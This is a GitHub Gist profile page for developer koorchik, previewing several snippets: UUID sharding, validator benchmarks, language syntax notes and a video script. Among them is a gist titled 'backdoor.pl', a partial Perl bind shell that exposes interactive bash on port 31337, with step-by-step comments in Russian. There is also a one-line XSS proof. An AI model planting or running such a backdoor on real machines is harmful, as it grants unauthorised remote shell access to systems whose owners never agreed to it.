Skip to content

Instantly share code, notes, and snippets.

View koorchik's full-sized avatar
🇺🇦

Viktor Turskyi koorchik

🇺🇦
View GitHub Profile
@koorchik
koorchik / uuid_distribution_test.mjs
Created September 7, 2023 06:39
Testing UUID distribution if used as sharding key
import crypto from "crypto";
const NUMBER_OF_SHARDS = 100;
const NUMBER_OF_ENTRIES = 100_000;
const shards = [];
for (let i = 0; i < NUMBER_OF_ENTRIES; i++) {
const numericUUID = BigInt("0x" + crypto.randomUUID().replace(/-/g, ""));
const shardId = Number(numericUUID % BigInt(NUMBER_OF_SHARDS));
package Validator;
use strict;
use warnings;
use Moo;
use BaseValidator;
use Util;
our $DEFAULT_RULES = {};
our $IS_DEFAULT_AUTO_TRIM = 0;
@koorchik
koorchik / fastest-validator-vs-livr-benchmark.mjs
Last active July 3, 2023 11:49
Fastest with strict: remove vs LIVR Benchmark
import Benchmark from "benchmark";
import LIVR from "livr";
import FastestValidator from "fastest-validator";
/* FASTEST VALIDATOR */
const fastestValidatorShema = {
$$strict: "remove",
username: { required: true, type: "string" },
gender: { type: "string", enum: ["male", "female"] },
phone: { type: "string", max: 10 },
@koorchik
koorchik / perl6-consistency.md
Last active December 7, 2017 19:20
Perl6 consistency example

In most programming languages you have a shorter form for incrementing a value

In JavaScript you can write:

a = a + 10; // original form
a += 10; // shorter form

a = a * 10; // original form
a *= 10; // shorter form
@koorchik
koorchik / recompress.pl
Created February 6, 2017 09:03
Recompress interlaced video from camera to x264
#!/usr/bin/perl
use warnings;
use strict;
my $in = $ARGV[0] || '';
my $out = $ARGV[1] || '';
unless(defined($in) && -e $in) {
die "File [$in] does not exists; $!";
}
@koorchik
koorchik / backdoor.pl
Created February 5, 2017 23:14
Network backdoor written in Perl
#!/usr/bin/perl
$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла
$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора
use Socket; ## Используем модуль Socket
$protocol=getprotobyname('tcp'); ### Протокол - TCP
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке
listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт
@koorchik
koorchik / whatever-operator-in-js-proposal.md
Last active December 7, 2017 19:22
Shorter syntax for arrow functions

Inspired by the Perl6 pointy block short syntax (https://docs.perl6.org/type/Whatever) I like functional programming in JS. And it will be great to have even shorter syntax for lambdas (than arrow functions).

The compiler should detect special syntax and convert it to arrow functions.

Motivation: With shorter syntax it is clearer what is the intent of the code. Moreover, we do not write variable names twice. It is like when you contruct on object obj = {name: name, email: email} you use shorter syntax obj = {name, email}. Here it similar appoach.

Here are some examples. For every example bothe notation are the same.

@koorchik
koorchik / xss_example.html
Last active February 6, 2017 09:05
XSS proof
<script type="text/javascript">
var a = "</script><script>alert(1);";
</script>
@koorchik
koorchik / hal2js_benchmark.md
Last active May 15, 2016 07:04
WebbyLab's mini hackaton: HAL to JS compiler

During hackaton we've created HAL(http://amazon5.hansaworld.net/) to JavaScript compiler just for fun.

Performance impovements: 2000x 😎

Original source code in HAL:

function val MULTIPLY(val i, val j)
begin
    val res;
@koorchik
koorchik / var_issue.js
Created July 17, 2015 14:06
Scope issue in javascript
var obj = { name: 'koorchik', age: 31 };
var funcs = {};
for (var prop in obj) {
funcs[prop] = function() { return obj[prop] };
}
console.log( funcs.name(), funcs.age() );